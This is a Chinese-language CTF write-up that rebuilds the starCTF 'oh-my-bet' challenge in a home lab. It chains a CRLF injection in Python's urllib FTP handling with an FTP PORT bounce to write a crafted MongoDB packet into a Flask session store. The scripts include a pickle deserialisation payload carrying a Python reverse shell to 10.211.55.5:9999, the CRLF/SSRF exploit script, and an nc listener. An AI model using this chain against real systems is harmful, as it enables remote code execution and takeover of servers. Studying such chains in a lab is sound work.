1 背景
最近在尝试做 starCTF 中的 oh-my-bet,需要使用 CRLF 漏洞来控制 FTP 向 mongodb 中发送数据包来修改 mongodb 中的内容。我尝试着自己手动构建了一个简易的环境来实现大致的流程。
2 环境搭建
使用虚拟机 + 主机两台机器来实现整个流程:
- 宿主机(Web 服务器)
- 虚拟机(用来攻击的服务器)
2.1 搭建mongo环境(宿主机和虚拟机)
在宿主机和虚拟机都需要搭建mongo环境,为了不与主机的 mongo 重合,我采用 27018 端口
docker run -itd --name mongo -p 27018:27017 mongo
2.2 flask(宿主机)
#!/usr/bin/env python
# -*- coding:utf-8 -
from flask import Flask, session
from flask_session import Session
import pymongo
app = Flask(__name__)
app.debug = True
app.secret_key = 'f4545478ee86$%^&&%$#'
app.config['SESSION_TYPE'] = 'mongodb' # session 类型为 mongodb
app.config['SESSION_MONGODB'] = pymongo.MongoClient(host='127.0.0.1', port=27018)
app.config['SESSION_MONGODB_DB'] = 'admin'
app.config['SESSION_MONGODB_COLLECT'] = 'sessions'
# 如果设置为True,则关闭浏览器session就失效。
app.config['SESSION_PERMANENT'] = True
# 是否对发送到浏览器上session的cookie值进行加密
app.config['SESSION_USE_SIGNER'] = False
# 保存到session中的值的前缀
app.config['SESSION_KEY_PREFIX'] = 'session:'
Session(app)
@app.route('/')
def index():
session['name'] = 'slug01sh'
return 'hello mongo'
@app.route('/get')
def get():
b = session.get('name')
return b
if __name__ == '__main__':
app.run()
这个 flask 应用共有 2 个路径 /
和 /get
/
可以初始化 session/get
可以将 session 从 mongo 中取出(会进行反序列化操作)
访问 http://127.0.0.1:5000 ,查看控制台即可得到 session 为:922b2d8f-26c8-4146-8742-9d62b3988a17
2.3 mongo数据包(虚拟机)
在虚拟机中生成 mongo 数据包,将二进制文件保存到 FTPD 的根目录下。(在这里,我缩略了一些步骤。oh-my-bet 一题中需要先把文件上传到 FTP 服务器中,并保存成文件,再发送到 mongo 中。而这里我直接生成数据包保存到 FTP 服务器中)
生成数据包之前需要先修改 pymongo 中的 network.py
文件,用来捕获数据包。使用下面的命令找到 pymongo 的位置。
python3 -c "import pymongo;print(pymongo.__file__)"
运行即可找到 pymongo 的路径
使用 sendall 关键字寻找
在 try 前,添加如图所示的代码:
if b'session:' in msg:
e = Exception()
e.message = msg
raise e
最后在 ftp 服务器的目录下生成 mongo 数据包(二进制文件)
from pymongo import MongoClient
import pickle
import os
# 构建反序列化
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
# 获取mongo的请求包
def get_mongo(cmd):
client = MongoClient('127.0.0.1', 27018)
coll = client.admin.sessions
try:
coll.update_one(
{'id': 'session:922b2d8f-26c8-4146-8742-9d62b3988a17'},
{"$set": {"val": get_pickle(cmd)}},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
packet = get_mongo(
cmd="""python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.5",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""")
print(packet)
file = open('slug01sh', 'ab')
file.write(packet)
记得修改上面的session(mongo通过session来找到用户)和 cmd(反序列化时会被运行的指令)。
运行脚本生成 mongo 数据包
2.4 FTP服务器(虚拟机)
FTP 服务器源码
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
authorizer = DummyAuthorizer()
authorizer.add_user("fan", "root", ".",perm="elrafmwMT")
authorizer.add_anonymous(".")
handler = FTPHandler
handler.permit_foreign_addresses = True
handler.passive_ports = range(2000, 2030)
handler.authorizer = authorizer
server = FTPServer(("10.211.55.5", 8877), handler)
server.serve_forever()
运行状态:
3 攻击
准备 CRLF 脚本
import urllib.request
def get_port_cmd(host):
ip, port = host.split(':')
ip = ','.join(ip.split('.'))
port = int(port)
return f'port {ip},{port // 256},{port - port // 256 * 256}'
if __name__ == '__main__':
# 向本地的FTP发送消息
target = '10.211.55.5:8877'
# FTP的消息
commands = ['type i', get_port_cmd(host='10.211.55.2:27018'), 'retr slug01sh']
commands_str = '\r\n'.join(commands)
commands_str = urllib.parse.quote(commands_str)
url = 'ftp://fan:root@'+target+'/\r\n'+commands_str
urllib.request.urlopen(url)
可以运行脚本的 Python 版本:
- Python 3.x版本至3.7.2版本中的urllib
运行CRLF代码,可以看到虚拟机中的 FTP 服务器显示发送成功
使用 navicat 连接m ongo,观察集合可以发现,通过 val 的长度来判断是否被更新成功。
在虚拟机中使用 nc -lvp 9999 等待反弹 shell,使用浏览器访问 http://127.0.0.1:5000/get